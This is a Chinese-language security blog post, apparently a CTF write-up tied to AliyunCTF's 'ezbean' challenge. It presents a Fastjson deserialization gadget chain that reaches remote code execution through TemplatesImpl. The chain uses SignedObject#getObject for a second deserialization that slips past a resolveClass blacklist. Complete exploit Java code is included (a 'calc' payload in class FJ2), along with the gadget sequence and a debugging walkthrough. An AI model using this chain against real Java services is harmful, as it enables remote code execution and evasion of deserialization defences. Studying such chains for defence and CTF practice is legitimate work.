FastJson结合二次反序列化绕过黑名单
该利用链可以在fastjson
多个版本实现RCE
,并且借助SignedObject
绕过第一层安全的resolveClass
对于TemplatesImpl
类的检查。
条件如下:
- 1.
ObjectInputStream
(反序列化)输入数据可控 - 2. 引入
Fastjson
依赖
FastJson之不安全的反序列化利用
说起来还是AliyunCTF
那道ezbean
的非预期,很多师傅使用FastJson#toString
方法触发TemplatesImpl#getOutputProperties
实现RCE
。
gadget
BadAttributeValueExpException#readObject JSONArray#toString TemplatesImpl#getOutputProperties
FastJson
反序列化并不是通过ObjectInputStream.readObject()
还原对象,而是在反序列化的过程中自动调用类属性的setter/getter
方法,将JSON
字符串还原成对象。
因此从FJ 1.2.49
开始,JSONArray
和JSONObject
开始重写了resolveClass
,过滤了诸如TemplatesImpl
的危险类。而ezbean
那道题使用了一个不安全的ObjectInputStream
进行反序列化。
这也就导致了选手通过引用的数据类型从而不执行resolveClass
以绕过其对危险类的检查,导致了非预期。
exp
List list = new ArrayList<>(); TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc"); list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测 JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); //此时在hash表中查到了映射,因此接下来以引用形式输出 BadAttributeValueExpException bd = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd,"val",jsonArray); list.add(bd); //字节 byte[] payload = SerializerUtils.serialize(list); ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); ois.readObject();
问题
似乎这样的方式只能在目标环境使用了一个不安全的ObjectInputStream的场景下应用。
因为templates是以引用的形式来绕过FJ的resolveClass方法的黑名单检查,因此在(见exp第三行)必须把templates添加到list中,所以如果重写了ObjectInputStream过滤templates,这样的方法就失效了。
public class MyInputStream extends ObjectInputStream { private final List BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean"); public MyInputStream(InputStream inputStream) throws IOException { super(inputStream); } protected Class resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException { if (this.BLACKLIST.contains(cls.getName())) { throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist"); } else { return super.resolveClass(cls); } } }
解决方案也很简单,就是通过二次反序列化绕过。
SignedObject
简单介绍下SignedObject,摘录自Poria师傅博客
当防御者重写了ObjectInputStream类,并且再resolveClass方法定义了反序列化黑名单类时,此时就需要通过二次反序列化绕过。
顾名思义,二次反序列化攻击就是在受害服务器进行第一次反序列化的过程中借助某些类的方法进行第二次反序列化。而第二次反序列化是没有ban恶意类的,通过这种方法间接的实现bypass黑名单。
阅读该类注释可知这个类可以存放一个序列化数据并且有一个属于该数据的签名。
More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.
再观察getObject方法,可以看到其中进行了一次反序列化,这完美符合了我们的要求,并且该类是jdk内置类。
事实上,该类主要用于加密反序列化数据,防止攻击者截获数据包从而解析序列化数据(竟然有些讽刺)。
/** * Retrieves the encapsulated object. * The encapsulated object is de-serialized before it is returned. * * @return the encapsulated object. * * @exception IOException if an error occurs during de-serialization * @exception ClassNotFoundException if an error occurs during * de-serialization */ public Object getObject() throws IOException, ClassNotFoundException { // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
而要反序列化的this.content可以通过构造方法赋值,并且该方法是一个相对容易触发的getter方法,所以问题转化为了如何触发SignedObject#getObject。
解决方案
最好找只依赖于FastJson的包的gadget,使得攻击面最大。
而正好JsonObject#toString可以触发任意getter方法,而toString又可以通过BadAttributeValueExpException#readObject调用,因此整条链子就通了。
gadget * 绕过第一次的TemplatesImpl黑名单检查 BadAttributeValueExpException#readObject JSONOBJECT#toString SignedObject#getObject * 二次反序列化 * 引用绕过JSON自带resolveClass的黑名单检查 BadAttributeValueExpException#readObject JSONArray#toString TemplatesImpl#getOutputProperties TemplatesImpl#newTransformer TemplatesImpl#getTransletInstance TemplatesImpl#defineTransletClasses TemplatesImpl#defineClass exp package gadget.fastjson; import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import gadget.doubleunser.MyInputStream; import util.GadgetUtils; import util.ReflectionUtils; import util.SerializerUtils; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.Serializable; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.ArrayList; import java.util.List; public class FJ2 { public static void main(String[] args) throws Exception{ List list = new ArrayList<>(); TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc"); list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测 JSONArray jsonArray2 = new JSONArray(); jsonArray2.add(templates); //此时在handles这个hash表中查到了映射,后续则会以引用形式输出 BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd2,"val",jsonArray2); list.add(bd2); //二次反序列化 KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA")); //触发SignedObject#getObject JSONArray jsonArray1 = new JSONArray(); jsonArray1.add(signedObject); BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null); ReflectionUtils.setFieldValue(bd1,"val",jsonArray1); //验证 byte[] payload = SerializerUtils.serialize(bd1); ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); //再套一层inputstream检查TemplatesImpl,不可用 ois.readObject(); } }
调试
通过SingedObject绕过了黑名单对于Templates的校验。触发BadAttributeValueExpException#readObject,通过gf.get获取JsonArray。
从JSON#toString触发JSON#toJSONString,并在下图断点处getter方法。
进入到JSONSerializer#write方法,首先获取object的类名,随后,将触发ListSerializer。
接下来触发ListSerializer#write一段很长的方法,主要就是进入到for循环把list的东西取出来进行后续操作。
后面比较复杂,总之就是通过createJavaBeanSerializer创建ObjectSerializer对象。通过ASM技术创建目标类(在这里是SignedObject)进行后续的处理。
进入到了ASMSerializerFactory#generaterWriteMethod,可以看到他就是把SignedObject重构出来了。获取到该类的三个字段并一个一个触发对应的getter方法。
最终触发了SignedObject#getObject进行了二次反序列化。
同样的,通过了JSONArray#toString最终通过ASMSerializerFactory#_get触发TemplatesImpl#getOutputProperties方法实现RCE。
结语
fastjson的利用往往通过parseObject触发反序列化,此次探索是在readObject反序列化场景下进行。真实场景下不太了解,emm可能在ctf中可以通过这条链子打个非预期吧。
由于笔者水平不高,希望师傅们多多指正。
